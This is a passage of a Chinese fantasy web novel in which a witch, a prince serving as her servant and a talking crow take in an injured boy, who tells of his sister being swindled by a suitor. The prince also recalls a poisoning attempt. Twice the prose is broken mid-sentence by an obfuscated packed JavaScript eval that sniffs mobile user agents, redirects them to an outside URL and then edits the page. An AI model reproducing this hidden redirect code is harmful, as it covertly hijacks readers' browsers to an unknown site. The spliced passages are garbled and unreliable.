梅拉回来了,代表着莱克斯一定也回来了。 塞拉斯兴冲冲地往小木屋前的小路上飞去,在小路的尽头与梅拉三人撞了个正着。 等等,一二三,怎么有三个人?塞拉斯疑惑地盯着莱克斯背上的陌生男孩,“梅拉,你怎么又捡受伤的小男孩回来?有一个莱克斯还不够吗?” 莱克斯:“……” 莱克斯没有搭理塞拉斯,径自接着往前走。 反倒是塞拉斯不知道自己讨人嫌,仗着能飞,一会儿飞到这头,一会儿飞到那头,上下打量莱克斯背上的男孩,发出啧啧两声:“这比当初的莱克斯伤得还重吧。” “有治愈药剂在,这点伤算不上什么。”梅拉摆手,示意塞拉斯别挡道。 等回到小木屋,莱克斯需要把男孩放下来,他先看了眼梅拉的摇椅。 “不行!”梅拉注意到莱克斯的眼神,当即反对道。 当时让受了伤的莱克斯睡到自己的摇椅上是因为没办法,纵观整座小木屋,梅拉实在找不到别的地方能把人放下来,连个干净的角落都没有。 现在么,正好之前为了让莱克斯能有个睡觉的地方,梅拉特地给他空出了一个角落,经过莱克斯的收拾,刚好能放下一张完整的毯子。 梅拉看把刚捡回来的男孩放在莱克斯的毯子上再合适不过。 行吧,谁让在这座小木屋里,万事都由梅拉说了算,莱克斯屈服了。 只不过是一张毯子罢了。 又不是他在王宫里的床,让出来也没什么。 这边,梅拉拿出一瓶治愈药剂,看着平躺在毯子上的男孩犯了难,要怎么把药水给他喝下去呢? “算了,还是交给你来吧。”梅拉把治愈药剂往莱克斯手里一塞,成功把问题抛给了莱克斯来解决。 莱克斯哪有什么好办法?喝不下去?那就硬灌。 于是在梅拉与塞拉斯的注视下,莱克斯非常强硬地用手掰开男孩的嘴,挑开瓶口的软木塞,把药水全部倒了进去。 然后他眼疾手快地把男孩的嘴闭起来,紧紧按住下巴,哪怕男孩开始疯狂地咳嗽,也绝不松手。 虽然莱克斯的手法是粗/暴了一点,耐不住真的有用,过了一会儿,男孩不咳了,药水也全咽进了肚子里。 “我们要这样一直守着他吗?”旁观的塞拉斯发出疑问。 “不是我们,是你。”梅拉笑眯眯地否认,“莱克斯要给我们做晚饭,我要把采到的珍珠草种到准备好的花盆里去,守着他醒来这件事就只能拜托给你了,塞拉斯。” “好好盯着他喔。” 梅拉丢下这么一句话,便自顾自地走开了。 莱克斯也开始在屋子里走来走去,为准备晚饭而忙碌。 站在毯子上的塞拉斯忍不住往前跳了两下,差点踩到男孩的脸上,“喂!喂!塞拉斯也有事要忙,才没空看孩子!” 可惜没人搭理塞拉斯的抗议,梅拉更是直接把塞拉斯的话当成了耳旁风。 塞拉斯能有什么事要忙? 自从梅拉有了莱克斯,塞拉斯就自作聪明地把原本属于自己的活统统推给了莱克斯来干,现在它已经成了小木屋里最闲的鸟,每天好吃懒做,要么就跟大爷似的躺在窗台上,对莱克斯指指点点。 要不是看在梅拉的面子上,塞拉斯早被莱克斯好好教训一顿了。 * 巴奇闻到了一阵食物的香气。 随着这阵香气闯入他的呼吸中,被吸入肺腑,巴奇无可避免地感觉到了火烧肚子一般的饥饿。 难以忍受的饥饿感迫使巴奇猛地睁开眼,试图寻找香气的来源。 然后他就发现自己正身处于一个陌生的环境之中。 垫在身下的柔软的毯子,悬挂起来的明亮的煤油灯,贴着墙壁快顶到屋顶的高大的橱柜,以及正坐在餐桌前用餐的红头发女人,以及正在口吐人言与金发男孩斗嘴的乌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626452|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸦……等等,这都是什么乱七八糟的?他还在梦里吗? 巴奇陷入了前所未有的困惑之中。 他记得自己进入黑暗森林后不久,就不幸遭遇了野兽的袭击。 那是一头跛脚的狼。 虽然不知道它的一只脚被什么动物咬伤了,但它扑咬巴奇的动作仍然非常灵敏,巴奇抽出了专门买来防身的匕首,胡乱挥舞,试图吓退这头恶狼。 结果不仅没有伤到狼不说,还让狼意识到他手里有能伤到自己的武器。于是在巴奇没有反应过来的时候,手腕忽然狠狠一疼,是被锐利的兽齿刺穿了,扎出了两个深深的血窟窿。 “啊!”巴奇忍不住痛呼,握在手里的匕首也随之掉在了地上。 失去了武器,巴奇再也没有值得那头恶狼忌惮的地方了,它扑上来的力道愈发凶猛,爪子也把巴奇身上的衣服抓得破破烂烂。 巴奇本以为自己就要这么丧命于狼口之下,却不知那恶狼为什么突然停下动作,左右嗅闻,接着逃也似的跑了,活似遇到了天敌。 来不及为自己逃过一劫而庆幸,巴奇浑身是伤,先前为了最大程度地护住自己的要害,他已经倒在了地上,蜷缩起来,现在想站起来,却没了力气。 不行,为了提防那头狼再回来,巴奇咬牙使出最后一点力气,不断往前爬去。 前边不远处,是一条还算宽阔的河流,淹一个巴奇可以说是绰绰有余。 哪怕淹死在河里,也比最后被恶狼吃掉尸体要好多了。 可惜巴奇的手刚摸到冰凉的河水,嘴角还未来得及上扬,便眼前一黑,晕了过去。 怎么他再醒来,竟然就换了个地方? “呀,你醒了。”塞拉斯最先发现巴奇睁开眼睛坐了起来,正迷茫地打量着周围。 “醒得倒是比我预想中的还快。”梅拉也转过头,若有所思地盯着巴奇。 唯独莱克斯虽然心中诧异巴奇竟然真的被救活了,却保持了表面上的镇定,依然慢条斯理地享用着还冒着热气的南瓜浓汤。 南瓜本来就十分香甜,再加上肉桂粉与奶油的调和,口感异常绵密。 甫一端上来,就受到了梅拉与塞拉斯的一致好评。 “你们是谁?这是哪里?是你们救了我吗?”巴奇一连抛出了数个疑问。 与此同时,他的视线不受控制地落到莱克斯身上。 金发可是努伦格尔王室的象征。 王室的人怎么会出现在这里? 面对巴奇的疑问,梅拉漫不经心地挑眉,“我还以为所有人都知道,只有女巫才敢住在危险的黑暗森林之中。” “你是女巫?”巴奇发出一声惊呼,是了,除了女巫之外,谁还会在黑暗森林中建起一座小木屋,同时豢养象征着邪恶的乌鸦呢? 更别提这只乌鸦还能口吐人言。 “没错,我是女巫梅拉,这里是我的小木屋,也是我让莱克斯把你背回来,顺便把你救醒的。”梅拉颔首。 在第一次见到她的人面前,梅拉总能保持住一个女巫应有的云淡风轻,仿佛万事万物都掌握在她的预料之中。 然而下一秒,梅拉的语调变得轻快起来,“对了,救醒你花了我一整瓶治愈药剂,诚惠八枚银币。怎么样,作为救了你的费用,这个价格很便宜吧?” 听到这熟悉的话语,一旁正在勺汤的莱克斯动作顿了顿,他有理由怀疑梅拉对每一个被她救了的人都是同一副说辞。 但巴奇还真的点了点头,一脸感激地向梅拉道谢。 只不过他摸了摸原本应该绑在腰间的钱袋,露出了一个尴尬的表情,小心翼翼地询问道,“对不起,女巫小姐,我的钱袋不见了,能不能等我下次来的时候再把钱一起付清?” “一起付清?”梅拉咀嚼着这句话,旋即高高地挑眉,嘴角绽放出一个动人的微笑,“哎呀,原来你是专门来找我的客人啊。” 过分的美丽令人望之生畏,因此巴奇刚才一直微微垂着眼帘,不敢与梅拉直接对视。 但女巫坐在灯光下看着他微笑,艳丽的美貌被柔和的色彩中和,仿佛浑身上下都在散发着珍珠般莹润的光彩,像一件可以驻足远处欣赏的艺术品。 以至于巴奇一时间竟然看呆了。 等他好不容易回神,才喏喏地答到:“是、是的,女巫小姐您猜得没错,我是专程为了您而来的。” 巴奇的话令莱克斯都放下勺子看了过来。 “哦?你找我是为了什么呢?”梅拉好奇地问。 “我听说女巫制作出来的药剂充满了神奇的药效,我想向您购买一瓶能够治好我姐姐的药。”巴奇道明来意。 “你姐姐生了什么病?”梅拉追问道,不知道病症的情况下,她怎么拿得出巴奇想要的药剂? “她……她得了臆想症,每天都在臆想她的未婚夫出了意外失踪了。但其实我们都知道,那个男人是带着从她那里骗到的钱,同他的情人私奔了。” 提到那个欺骗了她姐姐的人渣,巴奇的眼中划过一抹嫌恶。 10. 第 10 章 巴奇的父亲是一名小有名气的商人。 自巴奇有记忆起,就鲜少与父亲照面,他总是奔波在做生意的途中。 巴奇的母亲则在生下他不久后就因病去世了。 照顾巴奇长大的重担顺理成章地落到了他的姐姐玛比拉身上。 玛比拉只比巴奇大八岁,自己还是个孩子呢,起初照顾巴奇时可以称得上是手忙脚乱。 不过在仆人的帮助下,玛比拉逐渐变得熟稔,顺利地将巴奇照顾到了六岁。 突如其来的噩耗打破了这个家的平静,玛比拉与巴奇的父亲不幸在返回家中的路上遇难了。 得到消息的少女倒在女仆怀中失声痛哭,却在看到年幼的弟弟后,飞快地抹掉眼泪,一边强忍悲伤,一边学着替父亲处理后事。 好在他们的父亲留下了一笔还算可观的财产,足够两人继续维持着相对富足的生活,玛比拉也依然是镇上嫁妆数一数二的姑娘。 “如果我是你姐姐,这时候就该擦亮眼睛,审视每一个企图接近我的男人。”梅拉突然出声,打断了巴奇的叙述,“年轻富有的姑娘最容易吸引不怀好意的豺狼。” 何况在巴奇的描述中,玛比拉温柔恬静、教养良好,想必十分不擅长拒绝别人的接近,哪怕察觉到对方不安好心,也只会委婉地吐露拒绝。 要梅拉说,这招只对好面子的人管用,一旦碰到不要面子的无赖,就会像沾在鞋底的泥巴一样刮了一层还有一层。 虽然梅拉说得很有道理,但听故事听得正入迷的塞拉斯头疼地用翅膀捂住脑袋,指责她,“噢梅拉,你可真不是一个耐心的听众,虽然我们都知道最终是个令人沮丧的结局,但我还是更想听巴奇说完整个故事。” 而不是听你不断地插嘴。 这一句塞拉斯不敢说出口,只敢在心里偷偷嘀咕。 “好吧,好吧,随你的心愿,接下来我尽量不再轻易发表我的看法。”梅拉妥协了,顺便吩咐站在一边的莱克斯给她煮杯花草茶来。 巴奇悄悄观察了一眼梅拉的反应,见她没有不耐烦的表情,弱弱地替自己的姐姐辩白了一句,“不是我姐姐不够警惕,是格鲁特太会花言巧语,又用了不入流的卑鄙手段,才成功骗取了我姐姐的信任。” 玛比拉到底只是个十五岁的年轻姑娘,乍一碰到一个年轻英俊的男人对自己献殷勤,换着招数讨自己开心,难免失去了平日里的稳重,陷入少女渴望浪漫爱情的幻想之中。 只不过想起父亲留下来的那笔遗产,玛比拉又对格鲁特的亲近产生了几分怀疑,于是她派了自己最信任的女仆前去打探有关格鲁特的消息。 女仆回来后,对格鲁特的为人大夸特夸,说他虽然出身富贵,却一点也不喜欢沾花惹草,除了玛比拉,没见他对其他任何姑娘表现过兴趣。 女仆还劝说玛比拉不如就接受格鲁特的示爱,两人都是商人家庭出身的孩子,完全算得上门当户对。 更何况玛比拉确实对格鲁特有好感不是吗? 玛比拉深思熟虑过后,觉得女仆的建议没错,她找到格鲁特,希望两人能先订婚,毕竟巴奇才七岁,她不放心撇下年幼的弟弟独自嫁人。 格鲁特当然说没问题,甚至贴心地提出等到巴奇十二岁的时候,玛比拉再嫁给他也没问题,区区五年而已,他愿意为玛比拉痴心守候。 听到这话的玛比拉感动不已,同时心底对格鲁特存了不少愧疚,如果不是为了她,格鲁特正是适合结婚的好年纪,五年后说不定孩子都能在地上跑了。 因此一听到格鲁特问自己借钱想尝试做点生意时,玛比拉想都不想便拿出自己一半的嫁妆交给格鲁特。 当然,除了对格鲁特的信任之外,玛比拉也考虑到,钱这种东西如果只出不进,总有花光的一天,到时候他们的小家庭该怎么办。 尤其格鲁特说过,他的父亲重视能够继承家业的长子,他的母亲疼爱年纪最小的幼子,恐怕不会给他这个排在中间的老二分到多少财产。 格鲁特说这话时神情惆怅,显然为父母的偏爱感到难过,可他还是努力振作精神,安慰玛比拉,承诺绝不会让她过上用不起仆人的穷日子。 玛比拉笑着说好,心中却不免仍然挂着一丝担忧。 现在好了,格鲁特主动提出要去做生意,如果真能干出点什么来,玛比拉自然是乐见其成。 只不过格鲁特第一次做生意,难免遇到许多意外状况,譬如买来的货物质量参差不齐,譬如被人骗着把行情好的货物低价卖了出去,又譬如一起做生意的朋友卷钱跑路了。 总之半年后,垂头丧气的格鲁特又问玛比拉借走了她剩下的那一半嫁妆。 “就是这一回他直接带着你姐姐的那一半嫁妆和情人跑了?”梅拉问。 “不。”巴奇摇头,表示格鲁特比梅拉想象的还要贪心得多,他盯上了属于巴奇的那部分遗产。 按照王国的法律,父母留下的遗产中,女儿只能分得十分之四,大头则必须留给儿子。 如果这对夫妇膝下有多名女儿,则几个女儿们平分这十分之四,如果有多名儿子,则长子继承三分之二,其他儿子平分剩下的三分之一。 也就是说,巴奇与玛比拉父亲留下的遗产,大头还在巴奇的名下。 只不过因为巴奇的年纪太小,这笔钱暂时交给了玛比拉负责保管。 “后来呢?你姐姐不会真的糊涂到把你的钱也拿给格鲁特这种人渣骗子了吧?他都已经把她的嫁妆全骗光了,她还没醒悟过来吗?”塞拉斯气愤地挥舞双翅,有种没办法把翅膀伸过去狠狠抽格鲁特两巴掌的无力感。 “这回插嘴打断故事的人可不是我了喔。”梅拉在旁边轻飘飘地飘来一句。 “现在是计较这个的时候吗?”塞拉斯气得在栖杆上跳来跳去。 梅拉得意地哼笑一声,示意巴奇接着说。 “……格鲁特没有得逞。姐姐她虽然希望能拿出钱来帮助格鲁特的生意度过难关,但她认为她只是代我保管这些钱,等到我成年后,这些钱必须要分文不少的交到我的手上。因此无论格鲁特如何哀求,姐姐都没有松口。” “见没办法从我姐姐手里骗到更多的钱,格鲁特借口出门找愿意借钱给他的人,然后一去不返了。” 巴奇说完,沮丧地低下了头。 格鲁特刚离开那会儿,巴奇看到玛比拉愁眉不展的样子,便想办法从她最信任的女仆口中得知了原因。 知道只要自己愿意借钱给格鲁特就能让姐姐开心,巴奇高兴地找到玛比拉,说他愿意把这些钱都借给未来的姐夫,反正他们以后会是一家人,没必要讲究这么多。 闻言,玛比拉露出一个勉强的笑,并坚决的拒绝了巴奇,只说她相信格鲁特会找到办法的,如果最后实在找不到办法,那说明格鲁特不是做生意的料子,他们再另谋出路。 再之后就是玛比拉苦苦地等了三个月,却一封来自格鲁特的信都没收到。 要知道之前即使长期出门在外,格鲁特依旧每隔两三天就要给玛比拉寄一封写得满满当当的信,诉说他对玛比拉的思念之情。 有父亲的例子在前,玛比拉忍不住往最坏的情况设想,接着她再也等不下去,花了大价钱派人试图找到格鲁特。 当然,钱是玛比拉向巴奇借的,不仅如此,她还非要同巴奇打下欠条,许诺婚后一定还上这笔钱。 结果玛比拉派去的人虽然没有找到格鲁特,但把格鲁特早就带着情人私奔的消息带了回来。 更令人震惊的是,格鲁特压根没用玛比拉的嫁妆做过什么生意,他在信中给玛比拉描述的那些糟糕情况,全是他空口瞎编出来的。 至于那名与他私奔的情人,也是他在玛比拉之前看上的。不如说,正是因为格鲁特的父母无法接受他娶一个没多少嫁妆的女人,才让格鲁特盯上了隔壁镇子上出了名嫁妆丰厚的玛比拉。 玛比拉受到巨大的打击,当场昏了过去,被女仆扶回了房间。 而她最信任的那名女仆,在玛比拉派人打听格鲁特下落的时候,便找理由辞去了这份工作。 等巴奇反应过来不对劲,加钱派人调查了这名离开的女仆后,又得知她其实早就被格鲁特收买了,所以才会对着玛比拉说尽了格鲁特的好话,促成了两人的订婚。 提到这,巴奇的表情变得忿忿不平起来,“那名女仆陪伴了我姐姐五年,我们一直给她开着不错的薪水,也从没有打骂过她,结果她竟然为了这么点钱就轻易背叛了我姐姐。” 关于这一点,一直沉默着的莱克斯忽然开口,显然有不同的见解,“一位好的主人在兼有仁慈之心的同时,还必须在仆人们之间树立起足够的权威,否则过度的仁慈只会增长仆人的轻视,让他们无所顾忌,以至于胆敢冒犯主人的利益。” 从最信任的女仆居然能被格鲁特收买来看,玛比拉无疑是一位失败的主人。 反过头来说,正是玛比拉的纵容,才导致她的女仆敢收下格鲁特的钱,对她说谎,并且毫不担心事情会被揭穿。 巴奇听了这番话,意识到自己与姐姐的错误,脸色顿时更差了。 “这花草茶怎么味道这么淡?你刚刚煮的时候放了糖没?没放糖你就敢给我端来,看来我也得对你树立一下主人的权威才行。” 梅拉抱臂,盯着莱克斯,让他把这杯不够甜的花草茶喝干净,然后再煮杯新的来。 莱克斯想到自己刚说完的话,沉着脸把喝干净的茶杯端走了。 “好了,你接着说吧,你姐姐的病又是具体怎么一回事。”梅拉看向巴奇。 有了梅拉的打岔,巴奇呼出一口气,把最后一点故事补充完。 受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626453|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不了这样沉重打击的玛比拉患上了严重的臆想症,在她的认知里,格鲁特是在出门做生意的时候失踪了,无论她派了多少人,都没法找到他的下落,只好整日以泪洗面。 巴奇看不下去,狠心想打破姐姐的幻想,让她接受现实,换来的却是玛比拉关上房门,拒绝与他见面。 “这种情况大概只是伤心过度,你应该再多给她点接受的时间。”梅拉托着腮道。 “如果还有时间就好了,”巴奇露出一个苦笑,“我带着仆人出门前,姐姐已经躺在床上十分虚弱了。她除了一直以泪洗面之外,还完全丧失了食欲,不管多么美味的食物端到她面前,她都吃不下去。” 可是人不吃饭怎么行? 巴奇眼看着玛比拉一天天的消瘦下去,十分害怕失去仅剩的亲人,可他很清楚,教会的牧师治不了这种病,他们反而会说玛比拉是个疯女人,要求巴奇把她送到修道院去。 巴奇绝不可能这么做。 他想到了曾听说过的有关女巫的传闻,正好离镇子不远就是黑暗森林,人人都知道黑暗森林里确确实实住着一位邪恶的女巫。 于是巴奇带着几个年轻力壮的仆人护送自己来到黑暗森林附近,然后随意找了个借口把他们支开,独自一人闯了进来。 “为什么要把仆人们支开?如果你带着他们,说不定就不会被野兽袭击以至于晕倒在河边了。要知道如果不是侥幸碰到了我们,你大概是没办法捡回一条命的。”梅拉道。 “和女巫有过交易这种事,我不会告诉任何人,万一他们不慎同别人泄露,我和姐姐就都完了。”巴奇往莱克斯的身上看了一眼。 他之所以这么谨慎,还是因为在王室曾颁布的女巫追捕令上写到,凡是与女巫扯上关系的人,都会被没收全部财产,投入监狱之中。 结果巴奇千算万算,没想到居然直接在女巫的小木屋撞上了王室的人。虽然他暂时不知道莱克斯的身份,但他觉得在双方都握有把柄的情况下,莱克斯应该会和他保持同样的默契,假装从没见过对方吧。 莱克斯忽略巴奇那饱含深意的一瞥,镇定自若地把重新加了糖煮过的花草茶递给梅拉。 梅拉接过茶杯抿了一口,心里想的却是另一件事。别看巴奇话里话外都是玛比拉受到了打击,实际上他同样受到了不小的影响,否则不会这样提防自己的仆人。 果然,摔跤才能让人成长。 “那我什么时候可以得到我想要的药剂呢?”巴奇小心翼翼地问道。 “明天我就能把你想要的药剂制作出来,现在么,时间太晚,大家该睡觉了。” 梅拉把喝到一半的花草茶放到一边,伸了个懒腰,好久没像这样听过睡前故事了,虽然其中的爱情部分叫人咬牙切齿,但亲情部分起码还能称一句不错。 只不过有一个问题,梅拉从没想过她的小木屋会有别人住进来,多了一个莱克斯后,梅拉把唯一一张多的毯子分给了他,又把小木屋收拾出一个干净的角落供莱克斯睡在地上。 但现在屋子里又多了一个巴奇,显然只能让巴奇和莱克斯挤一个晚上了。 “我可以去门口坐着睡。”比起和巴奇挤一张毯子,莱克斯宁可主动委屈自己去门口。 “不行,在门口被冷风吹一晚上,你不怕着凉么?”梅拉拒绝了莱克斯的提议。 莱克斯想说自己没那么娇弱,他跟着切尔各学习这么多年的武艺不是白练的,然而梅拉根本不给他开口说话的机会,“你坐到我的摇椅旁,我把我的毯子分你一半。” “不许拒绝,难道你想反抗主人的权威吗?”梅拉又坏心眼地把莱克斯先前说过的那番话拿出来治他。 莱克斯不说话了。 莱克斯无奈地接受了。 于是,巴奇占用了莱克斯的毯子,塞拉斯站在自己的栖杆上,莱克斯则不情不愿地背靠着梅拉的摇椅,从身后分来的毯子边缘搭在他的膝盖上,盖住了他的整个上半身,避免他睡着后着凉。 为了更好地照顾到莱克斯,梅拉是朝向莱克斯这一面侧着身子睡的,她很快在摇椅轻微的晃动中睡着了。 不多时,屋子里响起了另外两道迥异的呼吸声。 唯独莱克斯依然睁着眼。 梅拉不喜欢往身上喷洒香水,因此只有这样近的距离,才能嗅到她身上若有若无的香气。 莱克斯不明白这种香气的由来,只能推测女人大概都是这样的,因为他去世多年的母亲也是如此。 干净的衣物、温暖的气息、柔顺的长发,自然而然散发的馨香,随着年幼的莱克斯扑入母亲怀中,得到了略带诧异的笑语:“今天我的王子殿下能不能陪母亲在花园里呆一个下午呢?” 年幼的自己是如何回答的? 莱克斯沉入梦境的深处,与遥远的回忆编织在了一起。 11. 第 11 章 第二天巴奇睁开眼,发现自己身上竟然连一处伤口都找不到了。 这就是女巫制作出来的药剂吗?药效比传闻中说的还要神奇。 与此同时,巴奇更加相信梅拉一定能够拿出让玛比拉恢复正常的药剂了。 “醒了?那正好来试试莱克斯的手艺。” 梅拉坐在餐桌前,单手支着下巴,笑吟吟地招呼巴奇到餐桌前最后一个空位坐下。 巴奇拘谨地坐了下来,下一秒又立刻像屁股烧着了似的站了起来。他端着空碗走到屋子中央的坩埚前,试图接过莱克斯手里的长勺,“我自己来盛就好。” 虽然巴奇是梅拉的客人,但他可不敢真的坐在椅子上等莱克斯来伺候自己。 莱克斯瞥了巴奇一眼,把长勺让出去,一手端着一个盛满的碗走到餐桌边,为真正需要他伺候的梅拉端来早餐。 热腾腾的雾气缓缓上升,裹着玉米的香甜。 霍尔,即每个月都要给梅拉送满满一板车食物来的棕发男人,这个月送来的就是最早一批成熟了的玉米。 据梅拉说,霍尔拥有一片远近闻名的肥沃土地,种出来的作物,比如玉米,不仅色泽金黄,并且每一粒都非常饱满,煮出来的味道自然差不了。 塞拉斯早在闻到香味的时候就迫不及待地给自己盛了一碗。只见它的脑袋一点一点,鸟喙深入碗里,把玉米粒啄得干干净净后,才捧起碗一口气把汤给喝干净了。 填饱肚子的塞拉斯发出一声舒服的喟叹,瘫坐在餐桌上,有一下没一下地给自己揉着肚子。 梅拉用勺子柄的另一端戳了戳塞拉斯肚子上的软肉,“你再这样光吃不动,马上就要成为史上第一只飞不起来的乌鸦了。” “胡、胡说,塞拉斯怎么可能飞不起来。”塞拉斯心虚地移开视线,不敢与梅拉对视。 都怪莱克斯的手艺越来越好了,又把本应该派给塞拉斯的活抢去干了不少,才导致塞拉斯身上长了不少肉,逐渐有朝横向发展的趋势。 大概从塞拉斯的表情猜出它在想什么的莱克斯:…… 明明是塞拉斯自己犯懒,把活都丢给了他干,果然梅拉养出来的乌鸦和她一样喜欢倒打一耙。 巴奇捞了满满一勺汤放入嘴里,发现吃起来的味道比闻起来的还要香甜。其中不只是玉米本身的甜味,应该还加了奶油和一点点肉桂粉。 一想到这么美味的食物竟然出自看起来一点都不好惹的莱克斯之手,巴奇一边被香得无法从碗里抬头,一边觉得能把莱克斯当仆人使唤的梅拉哪怕一直笑吟吟地同他说话,都充满了令人畏惧的气息。 梅拉看着快要缩到桌子底下的巴奇:? * 吃完早餐,梅拉就要开始为巴奇炼制他想要的药剂了。 关于哪种药剂能够让玛比拉振作起来,梅拉心中早就有了想法。她从橱柜上拿下来不少瓶瓶罐罐,拔开软木塞就往坩埚里倒。 巴奇看到这一幕,不免升起一点好奇,忍不住往前走了两步,试图拉近距离看清梅拉的每一个动作。 能看到女巫亲自制作药剂,这是多么难得的机会啊,也不知道梅拉往里倒的这些看起来稀奇古怪的材料都是什么东西。 不过好奇归好奇,巴奇很清楚女巫的药剂配方属于绝不能被他人知晓的秘密,故而谨慎地没有问出口。 其实巴奇如果问了,梅拉倒是不介意把这些材料的名字好好地和他说一说。 里头可有好几种珍贵的草药,放到市面上能卖到一金币一克呢,所以这瓶药剂梅拉觉得自己要价三十枚金币一点也不过分吧。 一旁的莱克斯瞧着梅拉库库地往锅里倒材料,看起来一点都不心疼,略带同情地看了还不知道要发生什么的巴奇一眼。 梅拉会这么舍得,一定是因为她打算要的报酬比她付出的还要多得多,也就是说,巴奇百分百要被梅拉狠狠宰上一笔了。 过了一会儿,坩埚里的水烧开了,渐渐飘出一股难以形容的异香。 这香味并不难闻,反而让巴奇露出了一副陶醉的神情,仿佛陷入了某种美好的幻觉之中。 “他这是怎么了?”莱克斯问,他环顾屋子一圈,发现只有巴奇闻到香味后露出了异样。 “不用担心,这是闻到悬吊鸢尾香味的正常反应。”梅拉看了巴奇一眼,“这种花最出名的就是它的香味了,不仅浓烈到方圆几公里内都能闻到,还会让闻到香味的猎物自动送上门给它饱餐一顿。” 通常来说,普通人闻到悬吊鸢尾的香味并不会产生像巴奇这样大的反应,毕竟它的食谱里不包括人类,顶多是让嗅到它香味的人感到一阵眩晕,神志变得有些昏沉。 但梅拉先前往锅里加了不少别的材料,放大了这种致幻效果,现在哪怕房子塌了都不一定能把巴奇从幻境里拉出来。 不过只要等药剂彻底成型,这股香味就会消失,巴奇自然能够清醒过来。 “说起来,你怎么一点也不受这香味的影响?” 梅拉有些许诧异。如果说她和塞拉斯是因为本身就存在特殊的地方,一个女巫,一个女巫的宠物,天然对魔药的效果具备一定的抵抗力,那莱克斯是为什么? 莱克斯定定地站在原地,任由梅拉上上下下地打量他,就是不肯开口。 然而有时候,抗拒也是一种鲜明的态度。 “行吧,你不想说,我就不问了。”梅拉耸了耸肩,能让莱克斯如此抗拒,必定与他曾经在王宫里的生活有关。 他愿意说的话,梅拉倒是不介意听听八卦;既然不愿意说,梅拉也不是非得好奇这些不该为人知晓的宫廷秘事。 还没坩埚里即将大功告成的魔药令她感兴趣。 殊不知梅拉随口的一问,再加上曾经与巴奇相似的经历,仿佛糅合成了一把古朴的钥匙,拧开了莱克斯久违的回忆。 在莱克斯和巴奇差不多的年纪时,他最亲近的侍女,亲手为他递来放了迷药的食物。 迷药很快起了效果,莱克斯的眼前一阵阵发黑,控制不住地想往后倒去。他意识到不对,想出声喊来守在门口的卫兵,不料侍女直接扑上来,捂住了他的嘴巴。 直到确认莱克斯不再挣扎,彻底晕了过去后,侍女才终于松开了手。 如果不是侍女离开时的眼神太过慌张,让看守的卫兵察觉了异样,被她沉入浴池底部的莱克斯或许真的要淹死了。 随着莱克斯获救,侍女也被卫兵们暂时看管了起来。 莱克斯再度醒来,是在发烧烧了整整一天一夜之后。 哪怕卫兵救得很及时,莱克斯还是呛了不少水进肚子里,再加上残存在体内的迷药,双重作用之下,饶是一向身强体健的莱克斯也烧得浑身通红,令接到消息赶来的切尔各十分担忧,不得不留在王宫里寸步不离地守着莱克斯。 莱克斯清醒过来后,没有听切尔各劝他好好休息的话,态度坚决地让人把侍女押到了床前进行审问。 虽然只过去了一天一夜,但侍女浑身狼狈,眼下顶着两团浓重的青黑,似乎片刻也不曾休息过。 显然是吓得不轻。 毕竟谋害王储是重罪,不仅她,她的亲人们有一个算一个,全部都要为她的行为付出代价。 侍女没想到还有再见到莱克斯的机会,她突然像疯了一样挣扎起来,哭得声泪俱下,说她一开始是拒绝了的,并没有想过要背叛莱克斯。 然而,然而,她唯一的弟弟生病了,父亲又不慎染上了赌/瘾,短短半个月内就把家当输光了,还把母亲的左腿打断,逼她没办法拒绝母亲可怜兮兮的哀求,最终接过了那包迷药,下在了要端给莱克斯的食物里。 她不住地乞求莱克斯的原谅,保证再也不会有下一次,如果莱克斯不放心,把她驱逐出王宫都行。 一直站在床头,保持着守护姿态的切尔各闻言,忍不住看了坐在床上的莱克斯一眼,生怕他真的心软,答应网开一面。 如果是这样,他一定会出言阻止,哪怕冒着莱克斯发怒的风险,也不能让他就这么轻易放过胆敢谋害王储的人。 幸好,莱克斯见侍女口中翻来覆去都是求饶,再也吐不出半点有用的东西,他将苍白的唇抿成一条冷酷的直线,冷声命令卫兵把她带走,投入监狱之中,包括她的家人一起,统统按照王国的律令进行处置。 侍女痛哭流涕地被卫兵押走了。 两扇厚重的雕花鎏金大门自外面合上,发出沉闷的响声,偌大的房间里,只剩下切尔各与莱克斯两人。 切尔各斟酌片刻,开口道,“我还以为殿下会像以往一样对她心软呢。” 换做别人可没这么好的运气,偏偏这名侍女是前王后莉莉勒斯还在世时,特意送到莱克斯身边负责照顾他的人,一想到这重身份,切尔各又不确定了。 “在她背叛我的时候,就已经同时背叛了我的母亲,我又怎么会看在母亲的面子上放过她。”莱克斯冷冷地道。 这就好,切尔各颇为赞同地点头,莱克斯能自己想明白这点就是再好不过的了。不说别的,只有最严厉的惩罚,才能震慑住其他仍然怀有异心的人,叫他们不敢轻举妄动,轻易对莱克斯出手。 否则就会像这次一样,哪怕在他的眼皮底下,莱克斯还是差点遇害。 “我知道你想说什么,”莱克斯看了切尔各一眼,“君主仁慈对臣民们来说是好事,太过仁慈反而是坏事了。” 这个道理早在很久之前,斐南基就教过莱克斯。 倘若君主的统治残暴不仁,臣民们势必生活在水深火热之中,可若君主过度仁慈,却会助长某些不该存在的野心,令至高无上的权威受到挑战,乃至于他的生命受到威胁。 这名侍女就是很好的例子。 莱克斯过往的仁慈不仅不再令她感恩戴德,还让她生出了背叛的勇气,多么可笑。 “这并不是殿下的错。”切尔各试图宽慰莱克斯。 